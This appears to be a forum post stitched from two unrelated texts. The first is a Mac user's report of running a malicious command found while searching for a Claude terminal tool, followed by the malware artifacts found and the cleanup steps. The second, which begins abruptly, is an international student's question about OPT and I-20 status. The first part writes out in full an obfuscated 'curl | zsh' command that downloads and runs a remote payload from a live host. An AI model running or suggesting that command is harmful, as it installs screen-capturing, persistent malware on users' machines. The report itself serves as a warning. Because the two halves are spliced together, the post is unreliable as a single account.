u/luiis_san

while looking for the claude terminal, clicked on the first link and didn't check what I was curling (sorry I'm an idiot and was tired)

I accidentally ran the following command on my Mac (DON'T RUN IT OBVIOUSLY):

curl -kfsSL $(echo 'aHR0cDovL3Bob2VuaXhwb29sY29udHJhY3Rvci5jb20vY3VybC8yMTMzYTA5ZWQ5YzAyZDc5ZjczNWM2NzU3MTdhMTVmMThiZTY0NTI3Mjc5M2ExNzBjOWQ0NzVhM2MwNDgwMDkw' | base64 -D) | zsh

The Base64 decodes to:

http://phoenixpoolcontractor.com/curl/2133a09ed9c02d79f735c675717a15f18be645272793a170c9d475a3c0480090

I realized afterward how suspicious this was and started checking the system.

Within the time window after running it, I found these newly created files:

~/Library/LaunchAgents/com.apple.c228cbc1.hcpi.plist

~/.local/com.apple.c228cbc1.hcpi

~/.local/com.apple.c228cbc1.capture.app/
└── Contents/
    └── MacOS/
        └── ScreenCap

There were also these files in /private/tmp:

/private/tmp/.com.apple.xpcd
/private/tmp/.com.apple.dsync
/private/tmp/.zshrc.tmp

Unfortunately, while cleaning the machine I deleted the LaunchAgent and associated binaries before I thought to preserve them for analysis.

What I have done since:

• unloaded/deleted the suspicious LaunchAgent
• removed the matching files under ~/.local
• removed the suspicious /private/tmp files
• rebooted the Mac
• checked all currently running processes after reboot
• checked ~/Library/LaunchAgents, /Library/LaunchAgents, and /Library/LaunchDaemons
• checked established TCP connections with lsof
• searched for the suspicious filenames again

Nothing matching c228cbc1, ScreenCap, .com.apple.xpcd, or .com.apple.dsync appears to be running or persisting after reboot.

I’m an international student who was set to graduate this semester but had a personal emergency that kept me from finishing one required class. I’d already applied for OPT before this happened. Talked to OIE and it sounds like I can’t easily get a new “regular” I-20 since my current one is tied to the OPT application, so I’m stuck trying to figure out the right path forward without a gap in status.

I have a job offer lined up and I’m trying to find a way to finish this last class (ideally online) while staying employed and in status, but the pre-completion vs post-completion OPT rules and the 20 hr/week cap are making this complicated.

Has anyone dealt with something like this? Curious how you handled it with OIE, whether you managed to keep OPT intact, or if you had to restart the process. Any advice appreciated, this whole thing has been pretty stressful.